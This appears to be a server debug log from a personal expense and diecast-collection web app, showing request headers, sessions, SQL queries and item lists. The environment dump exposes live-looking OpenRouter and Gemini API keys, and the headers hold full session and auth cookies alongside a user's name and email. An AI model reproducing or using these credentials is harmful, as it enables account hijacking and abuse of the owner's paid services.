    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    'sec-purpose': 'prefetch;prerender',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"ffc5-KlItgyr7WL1EV7WULpLOd3prSSQ"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3Armw23%2FMhfPe5%2Bf6HTth6Kw%3D%3D.IaaUcm2k5YyNSFFvG2c6fp6wgW02g3%2BEhSF99e%2BJo00Mabol8HVUevzJVX7nIiORyoiLkwYdqsbNFmv5hR8NZrathOVdhYE2WV8%2FE5JJ6w1TzQ8EK2J4dx%2FvKt3A1k%2BbN6NTLyGYSfIfjyJciUGTk0TQdtUmjNDBW7BNFftWE78%3D.sVWGXygj8OaXN1KRJgKVZcRx2nRUzP%2BLt%2F%2FBtLFbjKg; your_r_git.sid=s%3APAavm94QsX6dN6xYp_a046VX5r9yJaTw.MHwEful194q5ND6BnyFurAwgVzxrOOyN4Jl4HN%2B4Ni4',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T12:03:16.822Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_SEC_PURPOSE: 'prefetch;prerender',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"ffc5-KlItgyr7WL1EV7WULpLOd3prSSQ"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3Armw23%2FMhfPe5%2Bf6HTth6Kw%3D%3D.IaaUcm2k5YyNSFFvG2c6fp6wgW02g3%2BEhSF99e%2BJo00Mabol8HVUevzJVX7nIiORyoiLkwYdqsbNFmv5hR8NZrathOVdhYE2WV8%2FE5JJ6w1TzQ8EK2J4dx%2FvKt3A1k%2BbN6NTLyGYSfIfjyJciUGTk0TQdtUmjNDBW7BNFftWE78%3D.sVWGXygj8OaXN1KRJgKVZcRx2nRUzP%2BLt%2F%2FBtLFbjKg; your_r_git.sid=s%3APAavm94QsX6dN6xYp_a046VX5r9yJaTw.MHwEful194q5ND6BnyFurAwgVzxrOOyN4Jl4HN%2B4Ni4',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-25T11:13:02.428Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-25T11:13:02.429Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-25T11:13:02.429Z server-connect:app Executing action step identify
2026-02-25T11:13:02.429Z server-connect:app options: { provider: 'security' }
2026-02-25T11:13:02.429Z server-connect:output identity: 1
2026-02-25T11:13:02.430Z server-connect:app Executing action step restrict
2026-02-25T11:13:02.430Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T11:13:02.430Z server-connect:app Executing action step identify
2026-02-25T11:13:02.430Z server-connect:app options: { provider: 'security' }
2026-02-25T11:13:02.430Z server-connect:output identity: 1
2026-02-25T11:13:02.430Z server-connect:app Executing action step restrict
2026-02-25T11:13:02.430Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T11:13:02.431Z server-connect:output restrict: undefined
2026-02-25T11:13:02.431Z server-connect:app Executing action step select
2026-02-25T11:13:02.431Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-25T11:13:02.432Z server-connect:output restrict: undefined
2026-02-25T11:13:02.432Z server-connect:app Executing action step single
2026-02-25T11:13:02.432Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-25T11:13:02.437Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-25T11:13:02.439Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-25T11:13:05.708Z server-connect:router Serving templateView /diecast
2026-02-25T11:13:05.709Z server-connect:app Executing action step identify
2026-02-25T11:13:05.709Z server-connect:app options: { provider: 'security' }
2026-02-25T11:13:05.709Z server-connect:output identity: 1
2026-02-25T11:13:05.709Z server-connect:app Executing action step restrict
2026-02-25T11:13:05.709Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-25T11:13:05.709Z server-connect:output restrict: undefined
2026-02-25T11:13:05.709Z server-connect:router Render template diecast
2026-02-25T11:13:05.710Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3Armw23%2FMhfPe5%2Bf6HTth6Kw%3D%3D.IaaUcm2k5YyNSFFvG2c6fp6wgW02g3%2BEhSF99e%2BJo00Mabol8HVUevzJVX7nIiORyoiLkwYdqsbNFmv5hR8NZrathOVdhYE2WV8%2FE5JJ6w1TzQ8EK2J4dx%2FvKt3A1k%2BbN6NTLyGYSfIfjyJciUGTk0TQdtUmjNDBW7BNFftWE78%3D.sVWGXygj8OaXN1KRJgKVZcRx2nRUzP%2BLt%2F%2FBtLFbjKg; your_r_git.sid=s%3APAavm94QsX6dN6xYp_a046VX5r9yJaTw.MHwEful194q5ND6BnyFurAwgVzxrOOyN4Jl4HN%2B4Ni4',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T12:03:16.822Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3Armw23%2FMhfPe5%2Bf6HTth6Kw%3D%3D.IaaUcm2k5YyNSFFvG2c6fp6wgW02g3%2BEhSF99e%2BJo00Mabol8HVUevzJVX7nIiORyoiLkwYdqsbNFmv5hR8NZrathOVdhYE2WV8%2FE5JJ6w1TzQ8EK2J4dx%2FvKt3A1k%2BbN6NTLyGYSfIfjyJciUGTk0TQdtUmjNDBW7BNFftWE78%3D.sVWGXygj8OaXN1KRJgKVZcRx2nRUzP%2BLt%2F%2FBtLFbjKg; your_r_git.sid=s%3APAavm94QsX6dN6xYp_a046VX5r9yJaTw.MHwEful194q5ND6BnyFurAwgVzxrOOyN4Jl4HN%2B4Ni4',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-25T11:13:06.039Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-25T11:13:06.040Z server-connect:app Executing action step identify
2026-02-25T11:13:06.040Z server-connect:app options: { provider: 'security' }
2026-02-25T11:13:06.040Z server-connect:output identity: 1
2026-02-25T11:13:06.040Z server-connect:app Executing action step restrict
2026-02-25T11:13:06.040Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T11:13:06.041Z server-connect:output restrict: undefined
2026-02-25T11:13:06.041Z server-connect:app Executing action step select
2026-02-25T11:13:06.041Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-25T11:13:06.043Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-25T11:13:06.044Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-25T11:13:06.045Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-25T11:13:06.046Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-25T11:13:06.046Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-25T11:13:06.046Z server-connect:app Executing action step identify
2026-02-25T11:13:06.046Z server-connect:app options: { provider: 'security' }
2026-02-25T11:13:06.046Z server-connect:output identity: 1
2026-02-25T11:13:06.046Z server-connect:app Executing action step restrict
2026-02-25T11:13:06.046Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T11:13:06.047Z server-connect:app Executing action step identify
2026-02-25T11:13:06.047Z server-connect:app options: { provider: 'security' }
2026-02-25T11:13:06.047Z server-connect:output identity: 1
2026-02-25T11:13:06.047Z server-connect:app Executing action step restrict
2026-02-25T11:13:06.047Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T11:13:06.048Z server-connect:app Executing action step identify
2026-02-25T11:13:06.048Z server-connect:app options: { provider: 'security' }
2026-02-25T11:13:06.048Z server-connect:output identity: 1
2026-02-25T11:13:06.048Z server-connect:app Executing action step restrict
2026-02-25T11:13:06.048Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T11:13:06.048Z server-connect:output restrict: undefined
2026-02-25T11:13:06.048Z server-connect:app Executing action step select
2026-02-25T11:13:06.048Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-25T11:13:06.049Z server-connect:output restrict: undefined
2026-02-25T11:13:06.049Z server-connect:app Executing action step paged
2026-02-25T11:13:06.049Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-25T11:13:06.051Z server-connect:output restrict: undefined
2026-02-25T11:13:06.051Z server-connect:app Executing action step select
2026-02-25T11:13:06.051Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-25T11:13:06.052Z server-connect:app Executing action step identify
2026-02-25T11:13:06.052Z server-connect:app options: { provider: 'security' }
2026-02-25T11:13:06.052Z server-connect:output identity: 1
2026-02-25T11:13:06.052Z server-connect:app Executing action step restrict
2026-02-25T11:13:06.052Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T11:13:06.053Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
